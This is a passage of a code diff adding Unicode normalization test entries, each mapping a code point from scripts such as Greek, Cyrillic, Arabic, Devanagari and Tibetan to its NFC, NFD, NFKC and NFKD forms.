+{ source: [0x038A], NFC: [0x038A], NFD: [0x0399, 0x0301], NFKC: [0x038A], NFKD: [0x0399, 0x0301] },
+{ source: [0x038C], NFC: [0x038C], NFD: [0x039F, 0x0301], NFKC: [0x038C], NFKD: [0x039F, 0x0301] },
+{ source: [0x038E], NFC: [0x038E], NFD: [0x03A5, 0x0301], NFKC: [0x038E], NFKD: [0x03A5, 0x0301] },
+{ source: [0x038F], NFC: [0x038F], NFD: [0x03A9, 0x0301], NFKC: [0x038F], NFKD: [0x03A9, 0x0301] },
+{ source: [0x0390], NFC: [0x0390], NFD: [0x03B9, 0x0308, 0x0301], NFKC: [0x0390], NFKD: [0x03B9, 0x0308, 0x0301] },
+{ source: [0x03AA], NFC: [0x03AA], NFD: [0x0399, 0x0308], NFKC: [0x03AA], NFKD: [0x0399, 0x0308] },
+{ source: [0x03AB], NFC: [0x03AB], NFD: [0x03A5, 0x0308], NFKC: [0x03AB], NFKD: [0x03A5, 0x0308] },
+{ source: [0x03AC], NFC: [0x03AC], NFD: [0x03B1, 0x0301], NFKC: [0x03AC], NFKD: [0x03B1, 0x0301] },
+{ source: [0x03AD], NFC: [0x03AD], NFD: [0x03B5, 0x0301], NFKC: [0x03AD], NFKD: [0x03B5, 0x0301] },
+{ source: [0x03AE], NFC: [0x03AE], NFD: [0x03B7, 0x0301], NFKC: [0x03AE], NFKD: [0x03B7, 0x0301] },
+{ source: [0x03AF], NFC: [0x03AF], NFD: [0x03B9, 0x0301], NFKC: [0x03AF], NFKD: [0x03B9, 0x0301] },
+{ source: [0x03B0], NFC: [0x03B0], NFD: [0x03C5, 0x0308, 0x0301], NFKC: [0x03B0], NFKD: [0x03C5, 0x0308, 0x0301] },
+{ source: [0x03CA], NFC: [0x03CA], NFD: [0x03B9, 0x0308], NFKC: [0x03CA], NFKD: [0x03B9, 0x0308] },
+{ source: [0x03CB], NFC: [0x03CB], NFD: [0x03C5, 0x0308], NFKC: [0x03CB], NFKD: [0x03C5, 0x0308] },
+{ source: [0x03CC], NFC: [0x03CC], NFD: [0x03BF, 0x0301], NFKC: [0x03CC], NFKD: [0x03BF, 0x0301] },
+{ source: [0x03CD], NFC: [0x03CD], NFD: [0x03C5, 0x0301], NFKC: [0x03CD], NFKD: [0x03C5, 0x0301] },
+{ source: [0x03CE], NFC: [0x03CE], NFD: [0x03C9, 0x0301], NFKC: [0x03CE], NFKD: [0x03C9, 0x0301] },
+{ source: [0x03D0], NFC: [0x03D0], NFD: [0x03D0], NFKC: [0x03B2], NFKD: [0x03B2] },
+{ source: [0x03D1], NFC: [0x03D1], NFD: [0x03D1], NFKC: [0x03B8], NFKD: [0x03B8] },
+{ source: [0x03D2], NFC: [0x03D2], NFD: [0x03D2], NFKC: [0x03A5], NFKD: [0x03A5] },
+{ source: [0x03D3], NFC: [0x03D3], NFD: [0x03D2, 0x0301], NFKC: [0x038E], NFKD: [0x03A5, 0x0301] },
+{ source: [0x03D4], NFC: [0x03D4], NFD: [0x03D2, 0x0308], NFKC: [0x03AB], NFKD: [0x03A5, 0x0308] },
+{ source: [0x03D5], NFC: [0x03D5], NFD: [0x03D5], NFKC: [0x03C6], NFKD: [0x03C6] },
+{ source: [0x03D6], NFC: [0x03D6], NFD: [0x03D6], NFKC: [0x03C0], NFKD: [0x03C0] },
+{ source: [0x03F0], NFC: [0x03F0], NFD: [0x03F0], NFKC: [0x03BA], NFKD: [0x03BA] },
+{ source: [0x03F1], NFC: [0x03F1], NFD: [0x03F1], NFKC: [0x03C1], NFKD: [0x03C1] },
+{ source: [0x03F2], NFC: [0x03F2], NFD: [0x03F2], NFKC: [0x03C2], NFKD: [0x03C2] },
+{ source: [0x03F4], NFC: [0x03F4], NFD: [0x03F4], NFKC: [0x0398], NFKD: [0x0398] },
+{ source: [0x03F5], NFC: [0x03F5], NFD: [0x03F5], NFKC: [0x03B5], NFKD: [0x03B5] },
+{ source: [0x03F9], NFC: [0x03F9], NFD: [0x03F9], NFKC: [0x03A3], NFKD: [0x03A3] },
+{ source: [0x0400], NFC: [0x0400], NFD: [0x0415, 0x0300], NFKC: [0x0400], NFKD: [0x0415, 0x0300] },
+{ source: [0x0401], NFC: [0x0401], NFD: [0x0415, 0x0308], NFKC: [0x0401], NFKD: [0x0415, 0x0308] },
+{ source: [0x0403], NFC: [0x0403], NFD: [0x0413, 0x0301], NFKC: [0x0403], NFKD: [0x0413, 0x0301] },
+{ source: [0x0407], NFC: [0x0407], NFD: [0x0406, 0x0308], NFKC: [0x0407], NFKD: [0x0406, 0x0308] },
+{ source: [0x040C], NFC: [0x040C], NFD: [0x041A, 0x0301], NFKC: [0x040C], NFKD: [0x041A, 0x0301] },
+{ source: [0x040D], NFC: [0x040D], NFD: [0x0418, 0x0300], NFKC: [0x040D], NFKD: [0x0418, 0x0300] },
+{ source: [0x040E], NFC: [0x040E], NFD: [0x0423, 0x0306], NFKC: [0x040E], NFKD: [0x0423, 0x0306] },
+{ source: [0x0419], NFC: [0x0419], NFD: [0x0418, 0x0306], NFKC: [0x0419], NFKD: [0x0418, 0x0306] },
+{ source: [0x0439], NFC: [0x0439], NFD: [0x0438, 0x0306], NFKC: [0x0439], NFKD: [0x0438, 0x0306] },
+{ source: [0x0450], NFC: [0x0450], NFD: [0x0435, 0x0300], NFKC: [0x0450], NFKD: [0x0435, 0x0300] },
+{ source: [0x0451], NFC: [0x0451], NFD: [0x0435, 0x0308], NFKC: [0x0451], NFKD: [0x0435, 0x0308] },
+{ source: [0x0453], NFC: [0x0453], NFD: [0x0433, 0x0301], NFKC: [0x0453], NFKD: [0x0433, 0x0301] },
+{ source: [0x0457], NFC: [0x0457], NFD: [0x0456, 0x0308], NFKC: [0x0457], NFKD: [0x0456, 0x0308] },
+{ source: [0x045C], NFC: [0x045C], NFD: [0x043A, 0x0301], NFKC: [0x045C], NFKD: [0x043A, 0x0301] },
+{ source: [0x045D], NFC: [0x045D], NFD: [0x0438, 0x0300], NFKC: [0x045D], NFKD: [0x0438, 0x0300] },
+{ source: [0x045E], NFC: [0x045E], NFD: [0x0443, 0x0306], NFKC: [0x045E], NFKD: [0x0443, 0x0306] },
+{ source: [0x0476], NFC: [0x0476], NFD: [0x0474, 0x030F], NFKC: [0x0476], NFKD: [0x0474, 0x030F] },
+{ source: [0x0477], NFC: [0x0477], NFD: [0x0475, 0x030F], NFKC: [0x0477], NFKD: [0x0475, 0x030F] },
+{ source: [0x04C1], NFC: [0x04C1], NFD: [0x0416, 0x0306], NFKC: [0x04C1], NFKD: [0x0416, 0x0306] },
+{ source: [0x04C2], NFC: [0x04C2], NFD: [0x0436, 0x0306], NFKC: [0x04C2], NFKD: [0x0436, 0x0306] },
+{ source: [0x04D0], NFC: [0x04D0], NFD: [0x0410, 0x0306], NFKC: [0x04D0], NFKD: [0x0410, 0x0306] },
+{ source: [0x04D1], NFC: [0x04D1], NFD: [0x0430, 0x0306], NFKC: [0x04D1], NFKD: [0x0430, 0x0306] },
+{ source: [0x04D2], NFC: [0x04D2], NFD: [0x0410, 0x0308], NFKC: [0x04D2], NFKD: [0x0410, 0x0308] },
+{ source: [0x04D3], NFC: [0x04D3], NFD: [0x0430, 0x0308], NFKC: [0x04D3], NFKD: [0x0430, 0x0308] },
+{ source: [0x04D6], NFC: [0x04D6], NFD: [0x0415, 0x0306], NFKC: [0x04D6], NFKD: [0x0415, 0x0306] },
+{ source: [0x04D7], NFC: [0x04D7], NFD: [0x0435, 0x0306], NFKC: [0x04D7], NFKD: [0x0435, 0x0306] },
+{ source: [0x04DA], NFC: [0x04DA], NFD: [0x04D8, 0x0308], NFKC: [0x04DA], NFKD: [0x04D8, 0x0308] },
+{ source: [0x04DB], NFC: [0x04DB], NFD: [0x04D9, 0x0308], NFKC: [0x04DB], NFKD: [0x04D9, 0x0308] },
+{ source: [0x04DC], NFC: [0x04DC], NFD: [0x0416, 0x0308], NFKC: [0x04DC], NFKD: [0x0416, 0x0308] },
+{ source: [0x04DD], NFC: [0x04DD], NFD: [0x0436, 0x0308], NFKC: [0x04DD], NFKD: [0x0436, 0x0308] },
+{ source: [0x04DE], NFC: [0x04DE], NFD: [0x0417, 0x0308], NFKC: [0x04DE], NFKD: [0x0417, 0x0308] },
+{ source: [0x04DF], NFC: [0x04DF], NFD: [0x0437, 0x0308], NFKC: [0x04DF], NFKD: [0x0437, 0x0308] },
+{ source: [0x04E2], NFC: [0x04E2], NFD: [0x0418, 0x0304], NFKC: [0x04E2], NFKD: [0x0418, 0x0304] },
+{ source: [0x04E3], NFC: [0x04E3], NFD: [0x0438, 0x0304], NFKC: [0x04E3], NFKD: [0x0438, 0x0304] },
+{ source: [0x04E4], NFC: [0x04E4], NFD: [0x0418, 0x0308], NFKC: [0x04E4], NFKD: [0x0418, 0x0308] },
+{ source: [0x04E5], NFC: [0x04E5], NFD: [0x0438, 0x0308], NFKC: [0x04E5], NFKD: [0x0438, 0x0308] },
+{ source: [0x04E6], NFC: [0x04E6], NFD: [0x041E, 0x0308], NFKC: [0x04E6], NFKD: [0x041E, 0x0308] },
+{ source: [0x04E7], NFC: [0x04E7], NFD: [0x043E, 0x0308], NFKC: [0x04E7], NFKD: [0x043E, 0x0308] },
+{ source: [0x04EA], NFC: [0x04EA], NFD: [0x04E8, 0x0308], NFKC: [0x04EA], NFKD: [0x04E8, 0x0308] },
+{ source: [0x04EB], NFC: [0x04EB], NFD: [0x04E9, 0x0308], NFKC: [0x04EB], NFKD: [0x04E9, 0x0308] },
+{ source: [0x04EC], NFC: [0x04EC], NFD: [0x042D, 0x0308], NFKC: [0x04EC], NFKD: [0x042D, 0x0308] },
+{ source: [0x04ED], NFC: [0x04ED], NFD: [0x044D, 0x0308], NFKC: [0x04ED], NFKD: [0x044D, 0x0308] },
+{ source: [0x04EE], NFC: [0x04EE], NFD: [0x0423, 0x0304], NFKC: [0x04EE], NFKD: [0x0423, 0x0304] },
+{ source: [0x04EF], NFC: [0x04EF], NFD: [0x0443, 0x0304], NFKC: [0x04EF], NFKD: [0x0443, 0x0304] },
+{ source: [0x04F0], NFC: [0x04F0], NFD: [0x0423, 0x0308], NFKC: [0x04F0], NFKD: [0x0423, 0x0308] },
+{ source: [0x04F1], NFC: [0x04F1], NFD: [0x0443, 0x0308], NFKC: [0x04F1], NFKD: [0x0443, 0x0308] },
+{ source: [0x04F2], NFC: [0x04F2], NFD: [0x0423, 0x030B], NFKC: [0x04F2], NFKD: [0x0423, 0x030B] },
+{ source: [0x04F3], NFC: [0x04F3], NFD: [0x0443, 0x030B], NFKC: [0x04F3], NFKD: [0x0443, 0x030B] },
+{ source: [0x04F4], NFC: [0x04F4], NFD: [0x0427, 0x0308], NFKC: [0x04F4], NFKD: [0x0427, 0x0308] },
+{ source: [0x04F5], NFC: [0x04F5], NFD: [0x0447, 0x0308], NFKC: [0x04F5], NFKD: [0x0447, 0x0308] },
+{ source: [0x04F8], NFC: [0x04F8], NFD: [0x042B, 0x0308], NFKC: [0x04F8], NFKD: [0x042B, 0x0308] },
+{ source: [0x04F9], NFC: [0x04F9], NFD: [0x044B, 0x0308], NFKC: [0x04F9], NFKD: [0x044B, 0x0308] },
+{ source: [0x0587], NFC: [0x0587], NFD: [0x0587], NFKC: [0x0565, 0x0582], NFKD: [0x0565, 0x0582] },
+{ source: [0x0622], NFC: [0x0622], NFD: [0x0627, 0x0653], NFKC: [0x0622], NFKD: [0x0627, 0x0653] },
+{ source: [0x0623], NFC: [0x0623], NFD: [0x0627, 0x0654], NFKC: [0x0623], NFKD: [0x0627, 0x0654] },
+{ source: [0x0624], NFC: [0x0624], NFD: [0x0648, 0x0654], NFKC: [0x0624], NFKD: [0x0648, 0x0654] },
+{ source: [0x0625], NFC: [0x0625], NFD: [0x0627, 0x0655], NFKC: [0x0625], NFKD: [0x0627, 0x0655] },
+{ source: [0x0626], NFC: [0x0626], NFD: [0x064A, 0x0654], NFKC: [0x0626], NFKD: [0x064A, 0x0654] },
+{ source: [0x0675], NFC: [0x0675], NFD: [0x0675], NFKC: [0x0627, 0x0674], NFKD: [0x0627, 0x0674] },
+{ source: [0x0676], NFC: [0x0676], NFD: [0x0676], NFKC: [0x0648, 0x0674], NFKD: [0x0648, 0x0674] },
+{ source: [0x0677], NFC: [0x0677], NFD: [0x0677], NFKC: [0x06C7, 0x0674], NFKD: [0x06C7, 0x0674] },
+{ source: [0x0678], NFC: [0x0678], NFD: [0x0678], NFKC: [0x064A, 0x0674], NFKD: [0x064A, 0x0674] },
+{ source: [0x06C0], NFC: [0x06C0], NFD: [0x06D5, 0x0654], NFKC: [0x06C0], NFKD: [0x06D5, 0x0654] },
+{ source: [0x06C2], NFC: [0x06C2], NFD: [0x06C1, 0x0654], NFKC: [0x06C2], NFKD: [0x06C1, 0x0654] },
+{ source: [0x06D3], NFC: [0x06D3], NFD: [0x06D2, 0x0654], NFKC: [0x06D3], NFKD: [0x06D2, 0x0654] },
+{ source: [0x0929], NFC: [0x0929], NFD: [0x0928, 0x093C], NFKC: [0x0929], NFKD: [0x0928, 0x093C] },
+{ source: [0x0931], NFC: [0x0931], NFD: [0x0930, 0x093C], NFKC: [0x0931], NFKD: [0x0930, 0x093C] },
+{ source: [0x0934], NFC: [0x0934], NFD: [0x0933, 0x093C], NFKC: [0x0934], NFKD: [0x0933, 0x093C] },
+{ source: [0x0958], NFC: [0x0915, 0x093C], NFD: [0x0915, 0x093C], NFKC: [0x0915, 0x093C], NFKD: [0x0915, 0x093C] },
+{ source: [0x0959], NFC: [0x0916, 0x093C], NFD: [0x0916, 0x093C], NFKC: [0x0916, 0x093C], NFKD: [0x0916, 0x093C] },
+{ source: [0x095A], NFC: [0x0917, 0x093C], NFD: [0x0917, 0x093C], NFKC: [0x0917, 0x093C], NFKD: [0x0917, 0x093C] },
+{ source: [0x095B], NFC: [0x091C, 0x093C], NFD: [0x091C, 0x093C], NFKC: [0x091C, 0x093C], NFKD: [0x091C, 0x093C] },
+{ source: [0x095C], NFC: [0x0921, 0x093C], NFD: [0x0921, 0x093C], NFKC: [0x0921, 0x093C], NFKD: [0x0921, 0x093C] },
+{ source: [0x095D], NFC: [0x0922, 0x093C], NFD: [0x0922, 0x093C], NFKC: [0x0922, 0x093C], NFKD: [0x0922, 0x093C] },
+{ source: [0x095E], NFC: [0x092B, 0x093C], NFD: [0x092B, 0x093C], NFKC: [0x092B, 0x093C], NFKD: [0x092B, 0x093C] },
+{ source: [0x095F], NFC: [0x092F, 0x093C], NFD: [0x092F, 0x093C], NFKC: [0x092F, 0x093C], NFKD: [0x092F, 0x093C] },
+{ source: [0x09CB], NFC: [0x09CB], NFD: [0x09C7, 0x09BE], NFKC: [0x09CB], NFKD: [0x09C7, 0x09BE] },
+{ source: [0x09CC], NFC: [0x09CC], NFD: [0x09C7, 0x09D7], NFKC: [0x09CC], NFKD: [0x09C7, 0x09D7] },
+{ source: [0x09DC], NFC: [0x09A1, 0x09BC], NFD: [0x09A1, 0x09BC], NFKC: [0x09A1, 0x09BC], NFKD: [0x09A1, 0x09BC] },
+{ source: [0x09DD], NFC: [0x09A2, 0x09BC], NFD: [0x09A2, 0x09BC], NFKC: [0x09A2, 0x09BC], NFKD: [0x09A2, 0x09BC] },
+{ source: [0x09DF], NFC: [0x09AF, 0x09BC], NFD: [0x09AF, 0x09BC], NFKC: [0x09AF, 0x09BC], NFKD: [0x09AF, 0x09BC] },
+{ source: [0x0A33], NFC: [0x0A32, 0x0A3C], NFD: [0x0A32, 0x0A3C], NFKC: [0x0A32, 0x0A3C], NFKD: [0x0A32, 0x0A3C] },
+{ source: [0x0A36], NFC: [0x0A38, 0x0A3C], NFD: [0x0A38, 0x0A3C], NFKC: [0x0A38, 0x0A3C], NFKD: [0x0A38, 0x0A3C] },
+{ source: [0x0A59], NFC: [0x0A16, 0x0A3C], NFD: [0x0A16, 0x0A3C], NFKC: [0x0A16, 0x0A3C], NFKD: [0x0A16, 0x0A3C] },
+{ source: [0x0A5A], NFC: [0x0A17, 0x0A3C], NFD: [0x0A17, 0x0A3C], NFKC: [0x0A17, 0x0A3C], NFKD: [0x0A17, 0x0A3C] },
+{ source: [0x0A5B], NFC: [0x0A1C, 0x0A3C], NFD: [0x0A1C, 0x0A3C], NFKC: [0x0A1C, 0x0A3C], NFKD: [0x0A1C, 0x0A3C] },
+{ source: [0x0A5E], NFC: [0x0A2B, 0x0A3C], NFD: [0x0A2B, 0x0A3C], NFKC: [0x0A2B, 0x0A3C], NFKD: [0x0A2B, 0x0A3C] },
+{ source: [0x0B48], NFC: [0x0B48], NFD: [0x0B47, 0x0B56], NFKC: [0x0B48], NFKD: [0x0B47, 0x0B56] },
+{ source: [0x0B4B], NFC: [0x0B4B], NFD: [0x0B47, 0x0B3E], NFKC: [0x0B4B], NFKD: [0x0B47, 0x0B3E] },
+{ source: [0x0B4C], NFC: [0x0B4C], NFD: [0x0B47, 0x0B57], NFKC: [0x0B4C], NFKD: [0x0B47, 0x0B57] },
+{ source: [0x0B5C], NFC: [0x0B21, 0x0B3C], NFD: [0x0B21, 0x0B3C], NFKC: [0x0B21, 0x0B3C], NFKD: [0x0B21, 0x0B3C] },
+{ source: [0x0B5D], NFC: [0x0B22, 0x0B3C], NFD: [0x0B22, 0x0B3C], NFKC: [0x0B22, 0x0B3C], NFKD: [0x0B22, 0x0B3C] },
+{ source: [0x0B94], NFC: [0x0B94], NFD: [0x0B92, 0x0BD7], NFKC: [0x0B94], NFKD: [0x0B92, 0x0BD7] },
+{ source: [0x0BCA], NFC: [0x0BCA], NFD: [0x0BC6, 0x0BBE], NFKC: [0x0BCA], NFKD: [0x0BC6, 0x0BBE] },
+{ source: [0x0BCB], NFC: [0x0BCB], NFD: [0x0BC7, 0x0BBE], NFKC: [0x0BCB], NFKD: [0x0BC7, 0x0BBE] },
+{ source: [0x0BCC], NFC: [0x0BCC], NFD: [0x0BC6, 0x0BD7], NFKC: [0x0BCC], NFKD: [0x0BC6, 0x0BD7] },
+{ source: [0x0C48], NFC: [0x0C48], NFD: [0x0C46, 0x0C56], NFKC: [0x0C48], NFKD: [0x0C46, 0x0C56] },
+{ source: [0x0CC0], NFC: [0x0CC0], NFD: [0x0CBF, 0x0CD5], NFKC: [0x0CC0], NFKD: [0x0CBF, 0x0CD5] },
+{ source: [0x0CC7], NFC: [0x0CC7], NFD: [0x0CC6, 0x0CD5], NFKC: [0x0CC7], NFKD: [0x0CC6, 0x0CD5] },
+{ source: [0x0CC8], NFC: [0x0CC8], NFD: [0x0CC6, 0x0CD6], NFKC: [0x0CC8], NFKD: [0x0CC6, 0x0CD6] },
+{ source: [0x0CCA], NFC: [0x0CCA], NFD: [0x0CC6, 0x0CC2], NFKC: [0x0CCA], NFKD: [0x0CC6, 0x0CC2] },
+{ source: [0x0CCB], NFC: [0x0CCB], NFD: [0x0CC6, 0x0CC2, 0x0CD5], NFKC: [0x0CCB], NFKD: [0x0CC6, 0x0CC2, 0x0CD5] },
+{ source: [0x0D4A], NFC: [0x0D4A], NFD: [0x0D46, 0x0D3E], NFKC: [0x0D4A], NFKD: [0x0D46, 0x0D3E] },
+{ source: [0x0D4B], NFC: [0x0D4B], NFD: [0x0D47, 0x0D3E], NFKC: [0x0D4B], NFKD: [0x0D47, 0x0D3E] },
+{ source: [0x0D4C], NFC: [0x0D4C], NFD: [0x0D46, 0x0D57], NFKC: [0x0D4C], NFKD: [0x0D46, 0x0D57] },
+{ source: [0x0DDA], NFC: [0x0DDA], NFD: [0x0DD9, 0x0DCA], NFKC: [0x0DDA], NFKD: [0x0DD9, 0x0DCA] },
+{ source: [0x0DDC], NFC: [0x0DDC], NFD: [0x0DD9, 0x0DCF], NFKC: [0x0DDC], NFKD: [0x0DD9, 0x0DCF] },
+{ source: [0x0DDD], NFC: [0x0DDD], NFD: [0x0DD9, 0x0DCF, 0x0DCA], NFKC: [0x0DDD], NFKD: [0x0DD9, 0x0DCF, 0x0DCA] },
+{ source: [0x0DDE], NFC: [0x0DDE], NFD: [0x0DD9, 0x0DDF], NFKC: [0x0DDE], NFKD: [0x0DD9, 0x0DDF] },
+{ source: [0x0E33], NFC: [0x0E33], NFD: [0x0E33], NFKC: [0x0E4D, 0x0E32], NFKD: [0x0E4D, 0x0E32] },
+{ source: [0x0EB3], NFC: [0x0EB3], NFD: [0x0EB3], NFKC: [0x0ECD, 0x0EB2], NFKD: [0x0ECD, 0x0EB2] },
+{ source: [0x0EDC], NFC: [0x0EDC], NFD: [0x0EDC], NFKC: [0x0EAB, 0x0E99], NFKD: [0x0EAB, 0x0E99] },
+{ source: [0x0EDD], NFC: [0x0EDD], NFD: [0x0EDD], NFKC: [0x0EAB, 0x0EA1], NFKD: [0x0EAB, 0x0EA1] },
+{ source: [0x0F0C], NFC: [0x0F0C], NFD: [0x0F0C], NFKC: [0x0F0B], NFKD: [0x0F0B] },
+{ source: [0x0F43], NFC: [0x0F42, 0x0FB7], NFD: [0x0F42, 0x0FB7], NFKC: [0x0F42, 0x0FB7], NFKD: [0x0F42, 0x0FB7] },
+{ source: [0x0F4D], NFC: [0x0F4C, 0x0FB7], NFD: [0x0F4C, 0x0FB7], NFKC: [0x0F4C, 0x0FB7], NFKD: [0x0F4C, 0x0FB7] },
+{ source: [0x0F52], NFC: [0x0F51, 0x0FB7], NFD: [0x0F51, 0x0FB7], NFKC: [0x0F51, 0x0FB7], NFKD: [0x0F51, 0x0FB7] },
+{ source: [0x0F57], NFC: [0x0F56, 0x0FB7], NFD: [0x0F56, 0x0FB7], NFKC: [0x0F56, 0x0FB7], NFKD: [0x0F56, 0x0FB7] },
+{ source: [0x0F5C], NFC: [0x0F5B, 0x0FB7], NFD: [0x0F5B, 0x0FB7], NFKC: [0x0F5B, 0x0FB7], NFKD: [0x0F5B, 0x0FB7] },
+{ source: [0x0F69], NFC: [0x0F40, 0x0FB5], NFD: [0x0F40, 0x0FB5], NFKC: [0x0F40, 0x0FB5], NFKD: [0x0F40, 0x0FB5] },
+{ source: [0x0F73], NFC: [0x0F71, 0x0F72], NFD: [0x0F71, 0x0F72], NFKC: [0x0F71, 0x0F72], NFKD: [0x0F71, 0x0F72] },
+{ source: [0x0F75], NFC: [0x0F71, 0x0F74], NFD: [0x0F71, 0x0F74], NFKC: [0x0F71, 0x0F74], NFKD: [0x0F71, 0x0F74] },
+{ source: [0x0F76], NFC: [0x0FB2, 0x0F80], NFD: [0x0FB2, 0x0F80], NFKC: [0x0FB2, 0x0F80], NFKD: [0x0FB2, 0x0F80] },
+{ source: [0x0F77], NFC: [0x0F77], NFD: [0x0F77], NFKC: [0x0FB2, 0x0F71, 0x0F80], NFKD: [0x0FB2, 0x0F71, 0x0F80] },
+{ source: [0x0F78], NFC: [0x0FB3, 0x0F80], NFD: [0x0FB3, 0x0F80], NFKC: [0x0FB3, 0x0F80], NFKD: [0x0FB3, 0x0F80] },
+{ source: [0x0F79], NFC: [0x0F79], NFD: [0x0F79], NFKC: [0x0FB3, 0x0F71, 0x0F80], NFKD: [0x0FB3, 0x0F71, 0x0F80] },
+{ source: [0x0F81], NFC: [0x0F71, 0x0F80], NFD: [0x0F71, 0x0F80], NFKC: [0x0F71, 0x0F80], NFKD: [0x0F71, 0x0F80] },
+{ source: [0x0F93], NFC: [0x0F92, 0x0FB7], NFD: [0x0F92, 0x0FB7], NFKC: [0x0F92, 0x0FB7], NFKD: [0x0F92, 0x0FB7] },
+{ source: [0x0F9D], NFC: [0x0F9C, 0x0FB7], NFD: [0x0F9C, 0x0FB7], NFKC: [0x0F9C, 0x0FB7], NFKD: [0x0F9C, 0x0FB7] },
+{ source: [0x0FA2], NFC: [0x0FA1, 0x0FB7], NFD: [0x0FA1, 0x0FB7], NFKC: [0x0FA1, 0x0FB7], NFKD: [0x0FA1, 0x0FB7] },
+{ source: [0x0FA7], NFC: [0x0FA6, 0x0FB7], NFD: [0x0FA6, 0x0FB7], NFKC: [0x0FA6, 0x0FB7], NFKD: [0x0FA6, 0x0FB7] },
+{ source: [0x0FAC], NFC: [0x0FAB, 0x0FB7], NFD: [0x0FAB, 0x0FB7], NFKC: [0x0FAB, 0x0FB7], NFKD: [0x0FAB, 0x0FB7] },
+{ source: [0x0FB9], NFC: [0x0F90, 0x0FB5], NFD: [0x0F90, 0x0FB5], NFKC: [0x0F90, 0x0FB5], NFKD: [0x0F90, 0x0FB5] },
+{ source: [0x1026], NFC: [0x1026], NFD: [0x1025, 0x102E], NFKC: [0x1026], NFKD: [0x1025, 0x102E] },
+{ source: [0x10FC], NFC: [0x10FC], NFD: [0x10FC], NFKC: [0x10DC], NFKD: [0x10DC] },
+{ source: [0x1B06], NFC: [0x1B06], NFD: [0x1B05, 0x1B35], NFKC: [0x1B06], NFKD: [0x1B05, 0x1B35] },
+{ source: [0x1B08], NFC: [0x1B08], NFD: [0x1B07, 0x1B35], NFKC: [0x1B08], NFKD: [0x1B07, 0x1B35] },
+{ source: [0x1B0A], NFC: [0x1B0A], NFD: [0x1B09, 0x1B35], NFKC: [0x1B0A], NFKD: [0x1B09, 0x1B35] },
+{ source: [0x1B0C], NFC: [0x1B0C], NFD: [0x1B0B, 0x1B35], NFKC: [0x1B0C], NFKD: [0x1B0B, 0x1B35] },
+{ source: [0x1B0E], NFC: [0x1B0E], NFD: [0x1B0D, 0x1B35], NFKC: [0x1B0E], NFKD: [0x1B0D, 0x1B35] },
+{ source: [0x1B12], NFC: [0x1B12], NFD: [0x1B11, 0x1B35], NFKC: [0x1B12], NFKD: [0x1B11, 0x1B35] },
+{ source: [0x1B3B], NFC: [0x1B3B], NFD: [0x1B3A, 0x1B35], NFKC: [0x1B3B], NFKD: [0x1B3A, 0x1B35] },
+{ source: [0x1B3D], NFC: [0x1B3D], NFD: [0x1B3C, 0x1B35], NFKC: [0x1B3D], NFKD: [0x1B3C, 0x1B35] },
+{ source: [0x1B40], NFC: [0x1B40], NFD: [0x1B3E, 0x1B35], NFKC: [0x1B40], NFKD: [0x1B3E, 0x1B35] },
+{ source: [0x1B41], NFC: [0x1B41], NFD: [0x1B3F, 0x1B35], NFKC: [0x1B41], NFKD: [0x1B3F, 0x1B35] },
+{ source: [0x1B43], NFC: [0x1B43], NFD: [0x1B42, 0x1B35], NFKC: [0x1B43], NFKD: [0x1B42, 0x1B35] },
+{ source: [0x1D2C], NFC: [0x1D2C], NFD: [0x1D2C], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D2D], NFC: [0x1D2D], NFD: [0x1D2D], NFKC: [0x00C6], NFKD: [0x00C6] },
+{ source: [0x1D2E], NFC: [0x1D2E], NFD: [0x1D2E], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1D30], NFC: [0x1D30], NFD: [0x1D30], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D31], NFC: [0x1D31], NFD: [0x1D31], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1D32], NFC: [0x1D32], NFD: [0x1D32], NFKC: [0x018E], NFKD: [0x018E] },
+{ source: [0x1D33], NFC: [0x1D33], NFD: [0x1D33], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D34], NFC: [0x1D34], NFD: [0x1D34], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x1D35], NFC: [0x1D35], NFD: [0x1D35], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x1D36], NFC: [0x1D36], NFD: [0x1D36], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D37], NFC: [0x1D37], NFD: [0x1D37], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D38], NFC: [0x1D38], NFD: [0x1D38], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1D39], NFC: [0x1D39], NFD: [0x1D39], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1D3A], NFC: [0x1D3A], NFD: [0x1D3A], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1D3C], NFC: [0x1D3C], NFD: [0x1D3C], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D3D], NFC: [0x1D3D], NFD: [0x1D3D], NFKC: [0x0222], NFKD: [0x0222] },
+{ source: [0x1D3E], NFC: [0x1D3E], NFD: [0x1D3E], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1D3F], NFC: [0x1D3F], NFD: [0x1D3F], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x1D40], NFC: [0x1D40], NFD: [0x1D40], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D41], NFC: [0x1D41], NFD: [0x1D41], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D42], NFC: [0x1D42], NFD: [0x1D42], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D43], NFC: [0x1D43], NFD: [0x1D43], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D44], NFC: [0x1D44], NFD: [0x1D44], NFKC: [0x0250], NFKD: [0x0250] },
+{ source: [0x1D45], NFC: [0x1D45], NFD: [0x1D45], NFKC: [0x0251], NFKD: [0x0251] },
+{ source: [0x1D46], NFC: [0x1D46], NFD: [0x1D46], NFKC: [0x1D02], NFKD: [0x1D02] },
+{ source: [0x1D47], NFC: [0x1D47], NFD: [0x1D47], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D48], NFC: [0x1D48], NFD: [0x1D48], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D49], NFC: [0x1D49], NFD: [0x1D49], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x1D4A], NFC: [0x1D4A], NFD: [0x1D4A], NFKC: [0x0259], NFKD: [0x0259] },
